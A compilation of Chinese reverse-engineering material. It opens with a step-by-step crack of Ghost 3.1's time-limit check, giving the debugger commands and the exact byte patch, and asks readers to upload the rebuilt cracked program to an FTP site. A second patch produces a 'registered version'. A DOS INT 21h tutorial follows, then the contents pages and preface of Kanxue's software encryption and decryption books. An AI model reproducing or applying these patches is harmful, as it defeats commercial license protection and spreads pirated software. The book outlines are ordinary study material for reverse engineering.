当"Connection type"(可能是当退出TR,不久快快)界面出来之时，
压 <Ctrl+D>，
和按 <Enter>，又返回TR领域。
Logpro 1 ;log it[log是写日志]
g
logpro
ren logpro.txt log2.txt

如今天有两个日志. log1.txt是执行时间,log2.txt过期时间。
比较结果:

log1.txt
......
CALL 0fdb ;40f5:04dd e8fb0a
CALL FAR 32c4:0638 ;40f5:0ff5 9a3806c432
RETF ;32c4:064a cb
CALL FAR 32c4:401d ;40f5:10ac 9a1d40c432

log2.txt
......
CALL 0fdb ;40f5:04dd e8fb0a
CALL FAR 32c4:0638 ;40f5:0ff5 9a3806c432
RETF ;32c4:064a cb
CALL FAR 32c4:27e7 ;40f5:1054 9ae727c432

我首先发现不同之处proc_fdb. 我们推理:

CALL 0fdb ;call check_if_timeout [测试过期时间]
CALL FAR 32c4:0638 ;call get_time [当前时间]
RETF
... ;compare [进行比较]
j?? @@
CALL FAR 32c4:27e7 ;call error [错误提示]
@@:

让我们严密一些:

TR mem.exe
g fdb ;direct go to proc_fdb [直接跳到proc_fdb]
.... ; some <enter> [压enter]
TR界面:
U $,105d>tem.txt [反汇编内容另存为Tem.txt]
'tem.txt'内容:

ENTER 001C,00 ;40F5:0FDB C81C0000
CMP [WORD 00B2],00 ;40F5:0FDF 833EB20000
JNE 0FF0 ;40F5:0FE4 750A
CMP [WORD 00AC],00 ;40F5:0FE6 833EAC0000
JNE 0FF0 ;40F5:0FEB 7503
JMP 10D8 ;40F5:0FED E9E800
PUSH SS ;40F5:0FF0 16
LEA AX,[BP-04] ;40F5:0FF1 8D46FC
PUSH AX ;40F5:0FF4 50
CALL FAR 32C4:0638 ;40F5:0FF5 9A3806C432
ADD SP,04 ;40F5:0FFA 83C404
MOVSX EAX,[WORD BP-04] ;40F5:0FFD 660FBF46FC
MOV [BP-10],EAX ;40F5:1002 668946F0
MOVZX EAX,[BYTE BP-01] ;40F5:1006 660FB646FF
MOV [BP-14],EAX ;40F5:100B 668946EC
MOVZX EAX,[BYTE BP-02] ;40F5:100F 660FB646FE
MOV [BP-18],EAX ;40F5:1014 668946E8
MOV EAX,[BP-10] ;40F5:1018 668B46F0
ADD EAX,FFFFF894 ;40F5:101C 660594F8FFFF
IMUL EAX,EAX,00002710 ;40F5:1022 6669C010270000
MOV EDX,[BP-14] ;40F5:1029 668B56EC
IMUL EDX,EDX,64 ;40F5:102D 666BD264
ADD EAX,EDX ;40F5:1031 6603C2
ADD EAX,[BP-18] ;40F5:1034 660346E8
MOV [BP-0C],EAX ;40F5:1038 668946F4
MOV AX,7A18 ;40F5:103C B8187A
MOV ES,AX ;40F5:103F 8EC0
MOV EAX,[ES:0A18] ;40F5:1041 6626A1180A
CMP EAX,[BP-0C] ;40F5:1046 663B46F4
<<<-----
JGE 105C ;40F5:104A 7D10
PUSH 01 ;40F5:104C 6A01
PUSH 7A18 ;40F5:104E 68187A
PUSH 0FFA ;40F5:1051 68FA0F
CALL FAR 32C4:27E7 ;40F5:1054 9AE727C432
ADD SP,06 ;40F5:1059 83C406
MOV AX,7A18 ;40F5:105C B8187A

到此我们要如何做了？
a 1046
jmp 105c ;eb 14
G

它能运行!我们开始用十六进制工具修改Mem.exe:

搜索 : 66 3b 46 f4 7d 10
修改 : eb 14

至此，脱壳，破解，都完成了!

---------------------
4. 把Mem.exe拷贝到Ghost.exe的同目录下运行。

I think we can make the MEM.EXE run without ghost.exe:
我想应该制造一个脱离ghost.exe的Mem:

a. make MEM.EXE as follow:
制造Mem.exe过程:
mkexe ;不开参数
b. If MEM.exe large than ghost.exe's main part,
compress it.
如果Mem.exe比ghost.exe主要部分时可以压缩:
pklite mem.exe
copy /b mem.exe+dummy ;制造合适长度
c. 覆盖ghost.exe
d. 追加mem.exe
copy /b mem.exe+overlay

If you have done it, Please put it to
ftp://ftp.nease.net/incoming/tr
and tell me.

Thank You!

--------------------------------------------------------------
一个朋友告诉我:

这里，我想告诉你关我破解Ghost31d的方法。因为你的方法有一些不全
'Load Disk/Partition to Image'.[这个是ghost的功能，是加载或保存映象文件]
After MKEXE Ghost.exe
之后Mkexe ghost.exe

重名mem.exe为GGGGG.exe

TR GGGGG.exe -#e=g.env
bp ip=5497
g
a cs:ip
cs:5497 jmp 550E
bp ip=1386
g
a cs:ip
cs:1386 jmp 13A1
g
q

运行GGGGG.exe时已经是注册版了!

PeterChen：
不是别人不全而是别人方法比反锁而已，破解就好像数学一样条条大路通罗马!


DOS下可执行文件中装入或执行一些程序

 标 题:关于在DOS下可执行文件中装入或执行一些程序 (2千字)
发信人:asmboy[BCG]
时 间:2001-10-25 10:18:21
详细信息:
关于在DOS下可执行文件中装入或执行一些程序
--------------------------------------------------------
今天给大家讲讲一些初级的DOS汇编吧，一些网友问我怎么在可执行文件
中再装入或执行一些程序，也就是怎么拦截DOS的下程序再装入或执行一些可
执行文件。

AsmBoy[BCG]
Mail:asmboy@263.net
QQ:384772

难度级别:初级:)

所需工具:

TR 2.52
汇编知识

其实在DOS下拦一些程序是否再次装入或执行一些文件，一般情况下都是用到
DOS 21中断的4B功能。下面我先讲讲21中断4B的一些用法。

中断21H
功能调用号4BH
AL=指出程序是否仅装入内存或程序装入后且执行，0为装入后并执行，1为装入后不执行

DS：DX 指向包括要装入或执行的驱动器、路径和程序文件名

ES：BX 指向程序执行的参数区

下面我们来看一个实列
启动TR 并装入要拦断的可执行文件
下断点bpint 21 AX=4B00 用G执行程序，被断下

MOV [CS:0F35],BX ;2A4B:1966 2E891E350F
MOV BX,0F29 ;2A4B:196B BB290F ；BX为程序执行的参数区
MOV DX,158A ;2A4B:196E BA8A15 ；DX为要执行程序的路径和文件名
MOV AX,4B00 ;2A4B:1971 B8004B ；AH=4B00指装入程序后且执行
MOV [CS:16DE],SP ;2A4B:1974 2E8926DE16
MOV [CS:16E0],SS ;2A4B:1979 2E8C16E016
CLI ;2A4B:197E FA
MOV SP,CS ;2A4B:197F 8CCC
MOV SS,SP ;2A4B:1981 8ED4
MOV SP,18F2 ;2A4B:1983 BCF218
STI ;2A4B:1986 FB
INT 21 ;2A4B:1987 CD21 ；开始装载和执行程序
MOV [BYTE CS:15DC],00 ;2A4B:1989 2EC606DC1500
JAE 1995 ;2A4B:198F 7304 ; 看装载或执行是否成功
MOV [CS:15DC],AL ;2A4B:1991 2EA2DC15
CLI ;2A4B:1995 FA
MOV SP,CS ;2A4B:1996 8CCC
MOV SS,SP ;2A4B:1998 8ED4
MOV SP,18F2 ;2A4B:199A BCF218
STI ;2A4B:199D FB

如果有什么不懂可以问我,帮助别人是我最大的快乐，所谓助人为快乐之本！：）

Crack by AsmBoy[BCG] Mail:asmboy@263.net QQ:384772


加密与解密-目录

` 《加密与解密》（第二版） 看雪学院
  • 目录

    第1章 基础知识     （1）（什么是API？什么是句柄？Windows与DOS下解密的最大区别就在此）

    • 　　1.1 文本编码方式 （1）（让你认识ASCII和Unicode）
        1.2 Windows API函数 （2）
            1.2.1 Win API简介 （2）
            1.2.2 什么是句柄 （4）
            1.2.3 常用WIN32 API函数 （4）
        1.3 Windows与Unicode （7）（Win98淘汰己成定局！所以了解Windows 2000/XP己迫在眉捷！其中Unicode是很关键的一点）
            1.3.1 Windows 9x与Unicode （7）
            1.3.2 Windows 2000/XP与Unicode （9）
        1.4 Windows消息机制 （9）
        1.5 Windows注册表 （12）
            1.5.1 注册表的逻辑结构 （12）
            1.5.2 注册表相关函数 （13）
            1.5.3 注册表分析软件 （15）
        1.6 保护模式简介 （17）
            1.6.1 虚拟内存 （18）
            1.6.2 保护模式的权限级别 （19）

    第2章 代码分析技术（本章能让你理解高级语言与汇编语言的联系，指导你如何从汇编代码理解程序的功能）

        2.1 认识PE格式
            2.1.1 PE格式
            2.1.2 文件偏移地址与虚拟地址转换 （23）
        2.2 代码指令 （25）
            2.2.1 转移指令机器码的计算 （25）
            2.2.2 条件设置指令 （28）
            2.2.3 指令修改技巧 （29）
            2.2.4 浮点指令 （30）
        2.3 逆向分析技术 （33）（本节一定得掌握，这样以后你就能轻松地分析各汇编代码的功能了。）
            2.3.1 函数 （33）
            2.3.2 循环 （37）
            2.3.3 控制语句 （38）
            2.3.4 全局变量 （38）
            2.3.5 字串初始化 （39）

    第3章 静态分析技术 （40）

        3.1 文件类型分析 （40）
            3.1.1 FileInfo工具 （40）
            3.1.2 PEiD工具 （41）
        3.2 资源 （42）
            3.2.1 资源黑客的使用 （42）
            3.2.2 eXeScope的使用 （44）
        3.3 W32Dasm使用介绍 （44）
            3.3.1 准备工作 （44）
            3.3.2 操作步骤 （46）
            3.3.3 代码清单的阅读 （52）
        3.4 IDA Pro使用简介 （57）（你想逆向工程吗？就用它！本书花了25页来讲述它的用法）
            3.4.1 IDA文件 （58）
            3.4.2 IDA配置文件 （58）
            3.4.3 IDA菜单选项配置 （60）
            3.4.4 打开文件 （62）
            3.4.5 IDA主窗口界面 （63）
            3.4.6 注释 （64）
            3.4.7 交叉参考 （64）
            3.4.8 查找字符串 （65）
            3.4.9 参考重命名 （65）
            3.4.10 标签的用法 （66）
            3.4.11 进制的转换 （67）
            3.4.12 手工识别代码和数据 （67）
            3.4.13 数组（Arrays） （68）
            3.4.14 结构体（Structures） （68）
            3.4.15 枚举类型（Enumerated Types） （70）
            3.4.16 堆栈变量 （71）
            3.4.17 IDC脚本 （72）
            3.4.18 FLIRT （77）
            3.4.19 插件 （78）
            3.4.20 输出 （79）
            3.4.21 小结 （80）
        3.5 文件编辑工具 （80）
            3.5.1 Hiew使用 （80）
            3.5.2 HexWorkshop使用 （85）
            3.5.3 WinHex使用 （87）
        3.6 静态分析技术应用实例 （88）
            3.6.1 解密初步 （88）
            3.6.2 逆向工程初步 （89）

    第4章 动态分析技术 （92）

        4.1 SoftICE调试器 （92）(以最新的DriveStudio为讲解平台！)
            4.1.1 安装 （92）
            4.1.2 调试窗口简介 （99）
            4.1.3 窗口操作 （102）
            4.1.4 SoftICE配置 （105）
            4.1.5 SoftICE常用命令简介 （111）
            4.1.6 SoftICE调试技术 （115）
            4.1.7 SoftICE的符号调试技术 （123）
            4.1.8 断点 （132）
            4.1.9 SoftICE远程调试 （139）
            4.1.10 IceDump和NticeDump的使用 （144）
        4.2 TRW2000调试器 （150）
            4.2.1 安装 （150）
            4.2.2 配置 （150）
            4.2.3 输出信息（Export）的装载 （151）
            4.2.4 TRW2000操作 （151）
            4.2.5 条件断点 （153）
            4.2.6 符号调试 （154）
        4.3 OllyDbg调试器 （154）
            4.3.1 OllyDbg界面 （154）
            4.3.2 基本操作 （156）
            4.3.3 实例 （157）
        4.4 常见问题小结 （158）

    第5章 软件保护技术及其弱点 （160）（所有的实例全部重写，注释详尽)

        5.1 序列号保护方式 （160）
            5.1.1 序列号保护机制 （160）
            5.1.2 如何攻击序列号保护 （162）
            5.1.3 字符处理代码分析 （164）
            5.1.4 注册机制作 （167）
            5.1.5 浮点数 （172）
        5.2 警告（Nag）窗口 （175）
        5.3 时间限制 （177）
            5.3.1 计时器 （177）
            5.3.2 时间限制 （179）
            5.3.3 拆解时间限制保护 （180）
        5.4 菜单功能限制 （182）
            5.4.1 相关函数 （182）
            5.4.2 拆解菜单限制保护 （183）
        5.5 Key File保护 （183）
            5.5.1 相关API函数 （183）
            5.5.2 拆解Key File的一般思路 （185）
            5.5.3 文件监视工具FileMon （185）
            5.5.4 拆解KeyFile保护 （187）
        5.6 CD-Check （192）
            5.6.1 相关函数 （192）
            5.6.3 拆解光盘保护 （194）
        5.7 只运行一个实例 （194）
            5.7.1 实现方案 （195）
            5.7.2 实例 （196）
        5.8 常用断点设置技巧 （196）
        5.9 关于软件保护的一般性建议 （197）

    第6章 加密算法 （199）(现在研究加解密，不了解点密码学知识，真是不可思议的)

        6.1 单向散列算法 （199）
            6.1.1 MD5算法 （199）
            6.1.2 SHA算法 （201）
            6.1.3 CRC算法 （203）
        6.2 公开密钥算法 （206）
            6.2.1 RSA算法 （206）
            6.2.2 ElGamal算法 （212）
            6.2.3 DSA算法 （217）
        6.3 对称算法 （218）
            6.3.1 Blowfish算法 （218）
        6.4 其他算法 （221）
            6.4.1 Base64编码 （221）
            6.4.2 Crypto API （222）
        6.5 小结 （223）

    第7章 反编译语言 （225）

        7.1 Visual Basic程序 （225）（增加了Pcode程序调试内容）
            7.1.1 Visual Basic字符编码方式 （225）
            7.1.2 VB3和VB4反编译 （226）
            7.1.3 动态分析VB3和VB4程序 （226）
            7.1.4 动态分析VB5和VB6程序 （229）
            7.1.5 SmartCheck调试工具 （236）
            7.1.5 伪编译（P-code） （241）
        7.2 Delphi/ C++ Builder程序 （250）
            7.2.1 认识Delphi （250）
            7.2.2 DeDe反编译器 （250）
            7.2.3 断点 （256）
        7.3 Java程序 （257）
            7.3.1 JVM指令系统 （258）
            7.3.2 JVM寄存器 （258）
            7.3.3 JVM堆栈结构 （258）
            7.3.4 JVM碎片回收堆 （258）
            7.3.4 JVM存储区 （259）
        7.4 InstallShield反编译 （262）
            7.4.1 安装文件构成 （262）
            7.4.2 脚本语言反编译 （262）
            7.4.3 IS解密 （263）

    第8章 PE文件格式 （265）（全面重写，图文并貌，特别加重了输入表、基址重定位表的讲解，为脱壳打好基础）

        8.1 PE文件结构 （265）
            8.1.1 PE的基本概念 （265）
            8.1.2 DOS插桩程序 （267）
            8.1.3 PE文件头（IMAGE_NT _HEADERS） （268）
            8.1.4 块表（The Section Table） （274）
            8.1.5 各种块（Sections）的描述 （276）
            8.1.6 输入表（Import Table） （277）
            8.1.7 绑定输入（Bound import） （284）
            8.1.8 输出表（Export Table） （285）
            8.1.8 基址重定位表（Base ReloCation Table） （287）
            8.1.9 资源 （290）
            8.1.10 PE格式小结 （292）
        8.2 PE编辑工具 （292）
            8.2.1 LordPE使用简介 （292）
            8.2.2 PEditor使用简介 （295）

    第9章 增加PE文件功能 （296）（新增的一章，学完这章，你也可以做QQ显IP补丁了，你可以二次开发软件了）

        9.1 数据对齐 （296）
        9.2 增加区块（Section） （296）
            9.2.1 手工构造区块 （297）
            9.2.2 工具辅助构造区块 （298）
        9.3 增加输入函数 （298）
            9.3.1 手工增加 （298）
            9.3.2 工具辅助 （299）
        9.4 增加DLL文件 （300）
        9.5 窗口函数 （301）
        9.6 增加菜单功能 （304）
            9.6.1 扩充WndProc （305）
            9.6.2 Exit菜单 （305）
            9.6.2 Open菜单 （306）
            9.6.3 Save菜单 （309）
        9.7 用DLL增加功能 （313）
            9.7.1 创建DLL文件 （313）
            9.7.2 调用DLL函数 （313）
        9.8 修复基址重定位表 （314）
        9.9 增加输出函数 （317）

    第10章 反跟踪技术 （319）（增加SEH技术，本章是从解密角度来谈反跟踪技术的，其编程具体实现细节见续集）

        10.1 结构化异常处理 （319）
            10.1.1 异常列表 （319）
            10.1.2 SEH异常处理 （320）
            10.1.3 异常信息 （322）
            10.1.4 系统异常调试程序 （325）
            10.1.5 异常处理回调函数 （327）
        10.2 反调试技术 （330）
        10.3 花指令 （339）
        10.4 反-反调试技术 （344）
            10.4.1 SuperBPM （344）
            10.4.2 FrogsICE （344）
            10.4.3 在Windows 2000/XP下隐藏SoftICE （348）
        10.5 反跟踪实例 （349）
            10.5.1 Anti-SoftICE （349）
            10.5.2 Anti-Spy （350）
            10.5.3 Anti-DeDe. （351）

    第11章 加壳与脱壳 （353）（全部重写，学完后，市面上80％的壳应没问题了，特别脱DLL文件的壳也是本书特色之一！）

        11.1 认识壳 （353）
            11.1.1 壳的概念 （353）
            11.1.2 壳的加载过程 （354）
        11.2 加壳工具 （355）
            11.2.1 ASPacK （356）
            11.2.2 UPX （357）
            11.2.3 PECompact （357）
            11.2.4 ASProtect （358）
            11.2.5 tElock（359）
            11.2.6 幻影 （359）
        11.3 专用脱壳软件 （359）
            11.3.1 ASPack （360）
            11.3.2 UPX （360）
            11.3.3 ASProtect （361）
        11.4 通用脱壳软件 （361）
            11.4.1 ProcDump使用简介 （362）
            11.4.2 File Scanner使用简介 （368）
        11.5 手动脱壳 （369）
            11.5.1 查找入口点 （369）
            11.5.2 抓取内存映像文件 （372）
            11.5.3 重建输入表 （375）
            11.5.4 ImportREC使用指南 （379）
            11.5.5 Revirgin使用指南 （385）
            11.5.6 重建可编辑资源 （389）
        11.6 压缩保护的壳 （389）
            11.6.1 ASPack的壳 （389）
            11.6.2 PECompact的壳 （394）
            11.6.3 PE-PaCK的壳 （397）
            11.6.4 Petite的壳 （401）
        11.7 加密保护的壳 （403）
            11.7.1 ASProtect加密保护 （403）
            11.7.2 tElock加密保护 （416）
        11.8 DLL文件 （423）
            11.8.1 ASPack的壳 （424）
            11.8.2 PECompact的壳 （427）
            11.8.3 UPX的壳 （431）
            11.8.4 ASProtect的壳 （434）
            11.8.5 tElock的壳 （435）
        11.9 脱壳小结 （437）

    第12章 补丁技术 （439）（这次加强了SMC技术讲解，学完本章，SMC不再是一种体力活了）

        12.1 补丁原理 （439）
            12.1.1 文件补丁 （439）
            12.1.2 内存补丁 （441）
        12.2 补丁工具 （443）
            12.2.1 文件补丁工具 （443）
            12.2.2 内存补丁工具 （445）
        12.3 SMC补丁技术 （445）
            12.3.1 单层SMC技术 （446）
            12.3.2 多层SMC技术 （447）
            12.3.3 SMC函数 （449）

    第13章 商用软件保护技术 （451）

        13.1 软件狗（Dongles） （451）
            13.1.1 软件狗介绍 （451）
            13.1.2 软件狗厂商 （452）
            13.1.3 软件狗的弱点 （453）
        13.2 Vbox保护技术 （454）
            13.2.1 Vbox 4.03版本 （454）
            13.2.2 Vbox 4.2版本 （456）
            13.2.3 Vbox 4.3版本 （458）
        13.3 SalesAgent保护技术 （459）
            13.3.1 从"现在购买（BUY NOW）"入手 （459）
            13.3.2 暴力去除SalesAgent的保护 （461）
        13.4 SoftSENTRY保护技术 （462）
        13.5 TimeLOCK保护技术 （464）
        13.6 Flexlm保护 （466）
            13.6.1 License文件格式 （466）
            13.6.2 设置环境变量 （468）
            13.6.3 Flexlm Server （469）
            13.6.4 FlexGen工具用法 （470）
            13.6.5 利用FlexLm SDK解密 （472）

    附录A 浮点指令 （477）
    附录B SoftICE操作手册 （480）
    附录C TRW2000手册 （517）
    参考文献 （520）

    ©2000-2004 PE diy.com All rights reserved.
    By KanXue Studio


加密与解密-目录

` 《软件加密技术内幕》 看雪学院
  • 目录

    • 第1章 PE文件格式的深入分析 1
        1.1 PE文件格式纵览 1
            1.1.1 区块 3
            1.1.2 相对虚拟地址 5
            1.1.3 数据目录表 6
            1.1.4 输入函数 7
        1.2 PE文件结构 10
            1.2.1 MS-DOS头部 10
            1.2.2 IMAGE_NT_HEADERS头部 10
            1.2.3 区块表 14
            1.2.4 各种区块的描述 16
            1.2.5 输出表 17
            1.2.6 输出转向 20
            1.2.7 输入表 20
            1.2.8 绑定输入 22
            1.2.9 延迟装入数据 24
            1.2.10 资源 25
            1.2.11 基址重定位 27
            1.2.12 调试目录 29
            1.2.13 .NET头部 30
            1.2.14 TLS初始化 31
            1.2.15 程序异常数据 32

    第2章 PE分析工具编写 33
        2.1 文件格式检查 34
        2.2 FileHeader和OptionalHeader内容的读取 36
        2.3 得到数据目录表信息 40
        2.4 得到区块表信息 43
        2.5 得到输出表信息 47
        2.6 得到输入表信息 52

    第3章 Win32 调试API 60
        3.1 Win32调试API原理 60
            3.1.1 调试相关函数简要说明 60
            3.1.2 调试事件 64
            3.1.3 如何在调试时创建并跟踪一个进程 67
            3.1.4 调试循环体 68
            3.1.5 如何处理调试事件 69
            3.1.6 线程环境详解 71
            3.1.7 如何在另一个进程中注入代码 75
        3.2 利用调试API编写脱壳机 77
            3.2.1 tElock 0.98脱壳简介 77
            3.2.2 脱壳机的编写 78
        3.3 利用调试API制作内存补丁 88
            3.3.1 跨进程内存存取机制 90
            3.3.2 Debug API机制 92

    第4章 Windows下的异常处理 105
        4.1 基本概念 106
            4.1.1 Windows下的软件异常 106
            4.1.2 异常处理的基本过程 109
            4.1.3 SEH的分类 110
            4.1.4 未公开的可靠吗 110
        4.2 SEH相关数据结构 111
            4.2.1 TIB结构 111
            4.2.2 EXCEPTION_REGISTRATION结构 112
            4.2.3 EXCEPTION_POINTERS，EXCEPTION_RECORD，CONTEXT结构 112
        4.3 异常处理程序原理及设计 115
            4.3.1 相关API 116
            4.3.2 顶层异常处理 117
            4.3.3 线程异常处理 121
            4.3.4 异常处理的堆栈展开 132
            4.3.5 异常处理程序设计中的注意事项 142
        4.4 SEH的简单应用 143
            4.4.1 Windows 9x下利用SEH进入Ring0 143
            4.4.2 利用SEH实现对自身的单步自跟踪 145
            4.4.3 其他应用 147
        4.5 系统背后的秘密 148
        4.6 VC如何封装系统提供的SEH机制 148
            4.6.1 扩展的EXCEPTION_REGISTRATION级相关结构 149
            4.6.2 数据结构组织 150
        4.7 Windows XP下的向量化异常处理 157

    第5章 反跟踪技术 161
        5.1 反调试技术 161
            5.1.1 句柄检测 161
            5.1.2 SoftICE后门指令 163
            5.1.3 int68子类型 164
            5.1.4 ICECream子类型 165
            5.1.5 判断NTICE服务是否运行 166
            5.1.6 INT 1 检测 167
            5.1.7 利用UnhandledExceptionFilter检测 169
            5.1.8 INT 41子类型 169
        5.2 断点检测技术 170
            5.2.1 检测函数首地址 170
            5.2.2 利用SEH防范BPX断点 172
            5.2.3 利用SEH防范BPM断点 178
        5.3 反加载技术（Anti-Loader） 183
            5.3.1 利用TEB检测 183
            5.3.2 利用IsDebuggerPresent函数检测 186
            5.3.3 检查父进程 188
        5.4 反监视技术（Anti-Monitor） 189
            5.4.1 窗口方法检测 190
            5.4.2 句柄检测 190
        5.5 反静态分析技术 191
            5.5.1 扰乱汇编代码 191
            5.5.2 花指令 193
            5.5.3 SMC技术实现 194
            5.5.4 信息隐藏 201
        5.6 反DUMP技术(Anti-Dump) 204
        5.7 文件完整性检验 207
            5.7.1 磁盘文件校验实现 207
            5.7.2 校验和 211
            5.7.3 内存映像校验 212
        5.8 代码与数据结合技术 216
            5.8.1 准备工作 217
            5.8.2 加密算法选用 219
            5.8.3 手动加密代码 220
            5.8.4 使.text区块可写 221
            5.8.5 重定位 223
        5.9 软件保护的若干忠告 223

    第6章 加壳软件编写 225
        6.1 外壳编写基础 225
            6.1.1 判断文件是否是PE-EXE文件 226
            6.1.2 文件基本数据的读入 229
            6.1.3 额外数据保留 230
            6.1.4 重定位数据的去除 231
            6.1.5 文件的压缩 233
            6.1.6 资源区块的处理 237
            6.1.7 区块的融合 244
            6.1.8 输入表的处理 246
            6.1.9 外壳部分的编写 251
            6.1.10 将外壳部分添加至原始程序 259
            6.1.11 小结 266
        6.2 加壳程序综合运用的实例 267
            6.2.1 程序简介 267
            6.2.2 加壳子程序（WJQ_ShellBegin()） 268
            6.2.3 PE外壳程序 275
            6.2.4 加进Anti技术 285
            6.2.5 通过外壳修改被加壳PE 287
            6.2.6 VC++调用汇编子程序 289

    第7章 如何让壳与程序融为一体 291
        7.1 欺骗查壳工具 291
            7.1.1 FileInfo是如何查壳的 291
            7.1.2 欺骗FileInfo 293
        7.2 判断自己是否被加壳 297
            7.2.1 判断文件尺寸 297
            7.2.2 使用同步对象检查标记 298
            7.2.3 使用原子（Atom）检查标记 304
            7.2.4 使用存储映像文件检查标记 308
            7.2.5 使用线程优先权检查标记 311
            7.2.6 使用外部文件检查标记 313
            7.2.7 使用注册表检查标记 318
            7.2.8 注入一个定时器 318
            7.2.9 外部检测（使用DLL） 322
            7.2.10 Hook 相关的API（防止Loader和调试API） 322
        7.3 使用SDK把程序和壳融为一体 322
            7.3.1 SDK加密的标记 322
            7.3.2 壳程序检测加密标志 324
            7.3.3 开始加密相关的数据 325
            7.3.4 输出函数的声明 327
            7.3.5 输出函数的执行代码定位 328
            7.3.6 为输出函数得到壳中加密函数做准备 329
            7.3.7 程序中使用加密和解密函数 330
            7.3.8 构造壳中的加密和解密函数 330
            7.3.9 壳寻找程序的输出函数位置 332
            7.3.10 "毁尸灭迹"，擦除输出函数 333
            7.3.11 壳中分配临时的内存存放加密和解密函数 333
            7.3.12 壳中执行程序输出函数传递参数 334

    第8章 Visual Basic 6 逆向工程 336
        8.1 P-code传奇 336
        8.2 VB编译奥秘 337
        8.3 VB与COM 338
        8.4 VB可执行程序结构研究 343
        8.5 VB程序事件解读 353
        8.6 VB程序图形界面解读 356
        8.7 VB执行代码研究 361
            8.7.1 VB函数的解读 361
            8.7.2 VB函数调用约定 363
            8.7.3 执行代码中对控件属性的操作 364
        8.8 P-code代码 369
            8.8.1 理解P-code代码指令 370
            8.8.2 P-code程序调用约定 371
            8.8.3 调试时中断P-code程序的几种方法 371
            8.8.4 WKT VB Debugger实现原理 372
            8.8.5 VB6 P-code Crackme分析实例 378
        8.9 VB程序保护篇 383
            8.9.1 Anti-Loader技术 383
            8.9.2 VB"自锁"功能实现 386
        8.10 相关工具点评 386

    附录A 在Visual C++中使用内联汇编 388

    附录B 在Visual Basic中使用汇编 403

    ©2000-2004 PE diy.com All rights reserved.
    By KanXue Studio


查看前言

` 《加密与解密》（第二版） 看雪学院
  • 前言

        自计算机诞生之日起，其技术的发展可谓日新月异，各种新技术、新思路不断涌现。个人计算机操作系统也经历了DOS，Windows 3.x，Windows 9x，Windows 2000及Windows XP的历程。各种应用软件从最初的几个、几十个字节发展到现在的动辄几张光盘，成千上万的共享软件和商业软件越来越庞大，技术内涵也日趋复杂。一款优秀的软件，其技术秘密往往成为他人窃取的重点。作为软件开发人员，为了保护自己辛辛苦苦开发的软件不轻易被他人“借鉴”，有必要对软件保护（加密）和破解（解密）技术进行研究。但是，软件保护和破解方面的资料目前比较匮乏，许多软件开发人员不得不自行摸索，导致在重复劳动中走了不少弯路，耗费了大量的时间和精力。随着软件以共享方式在网络上发布这种方式的流行，软件保护和数据加密技术的迫切性被越来越突出地表现了出来。

    • 软件加解密的发展历史

        我们通常是随着操作系统的不断升级来划分相应的软件，所以划分软件加解密的发展历史就是操作系统发展的历史。
        1．DOS时期
        这个时代的软件主要是正式版和功能不全的Demo版以及一些磁盘防拷贝保护，很少有所谓的共享软件（Shareware）。所以DOS时代所谓的解密通常是去掉软件中的某些限制或跳过原版磁盘检查，然后通过广大业余的BBS提供下载。但值得一提的是，这个时代的软件由于16位操作系统很容易接触到系统底层的原因，而导致个别软件保护方式异常强悍，又因为在16位平台上很难区分系统领空和程序领空而导致天然的破解跟踪困难，所以这个时代的软件保护机制两极分化很严重。
        2．Windows 95早期
        当 Windows 95出现的时候，很多人不适应这个平台，它上面的加解密资料奇缺，对许多人来说就像做了一场恶梦。这段时期共享软件渐渐地盛行起来，采用序列号保护的共享软件越来越多。由于当时许多程序员对刚刚出现的Windows 95不了解，感觉有些手足无措，编制的软件在加密部分都比较脆弱，所以那时候的序列号加密方案特别脆弱。
        3．Windows 95末期
        其实这段时期应该是Windows 95和Windows 98共存的时期。在这个时期，程序员已经对Windows 9x这个系统了如指掌，一些需要较高编程技巧、与系统核心等底层联系紧密的软件纷纷出笼。这个时期，共享软件大多还是采用序列号加密方式，但其序列号通常经过复杂的计算，所以很难像早期的软件一样，随随便便就能被解密。
        4．Windows 2000/XP时期
         这段时期就是Windows 9x和Windows 2000/XP共存的时期。这时，各种软件的加密外壳泛滥，特别是各种专用加壳软件的出现，大大地提高了软件的保护质量；同时，解密技术也不断提高，各种新式的解密工具随即出现。此时的序列号加密越来越多地采用密码学中不可逆的加密算法，使得解密的过程越来越像高等数学的研究。软件解密者要想得到正确的序列号就必须对各种成熟加密算法有很深的了解，或者找出软件加密算法的漏洞（像WinRAR。CloneCD等软件的Keygen就是利用ECC椭圆算法的加密漏洞而编制出来的）。

    关于本书

        2000年初，作者想找一些研究加解密的朋友交流一下，但十分令人遗憾的是，那时国内这方面的技术资料很缺乏，不成系统，大家交流的也有限，因此就建了一个主页“看雪学院”，与大家共同探讨加密与解密的知识。这个主页是当时国内惟一一个从技术角度研究加解密的站点，并在广大网友的支持下，健康地成长了起来了。后来，主页提供的软件调试论坛成了国内知名的加解密技术论坛，吸引了密界众多高手。大家以知识共享的精神，无私地将自己所知的技术奉献出来了，至今为止原创了2500余篇文章，极大地推动了国内加解密技术的发展。
        这是一本很难写的书，因为当时这是一个全新的领域。从Windows 95面世以来的6年内，市面上没有一本这方面的书，网上也很缺乏相关资料。为了填补国内Windows平台上加密与解密书籍的空白，作者与软件调试论坛的密界一流好手努力合作，克服种种困难，于2001年9月推出了国内第一本全面介绍Windows平台下软件加密与解密技术的书籍，这就是本书的第一版《加密与解密--软件保护技术及完全解决方案》。 在第一版中，我们试图从软件加密和解密这两个方面对当今流行的软件保护技术进行了分析。希望读者看过本书之后，能够对各种流行的软件保护与破解技术有所了解。 第一版一面世就得到了广大读者的喜爱和认可，获得了2002年全国优秀畅销书奖（科技类）！在全国很多计算机专业书店获得了名利前茅的销售业绩，而且一年来在著名的华储网销售排行中都被排在前几名内。次年，本书在台湾发行了繁体版，得到了台湾读者的热烈欢迎。
        为了跟上技术发展的步伐，作者花费了6个月时间做准备，6个月时间进行写作，汇集了国内顶尖软件调试论坛（看雪论坛）的众多密界一流好手，以本书第一版为基础，更新了第一版的大部分内容，最后完成了本书的第二版《加密与解密》。这本500多页的图书，几乎囊括了Windows下软件保护的绝大多数内容，从基本的跟踪调试到深层的拆解脱壳、从浅显的分析注册到商用的软件保护，其跨度之广、内容之深，国内至今尚无同类出版物能与之比肩。

    内容导读

        第二版是在一版基础上写成的，删除了第一版中的过时内容，补充了许多新技术。全书有一半的内容与第一版不同，结构更加合理。补充和加强了Windows与Unicode、代码逆向分析、IDA详细操作、SoftICE符号调试技术、OllDbg操作、密码学算法应用、VB的Pcode跟踪、增加PE文件的功能、SEH技术、脱壳技术等。
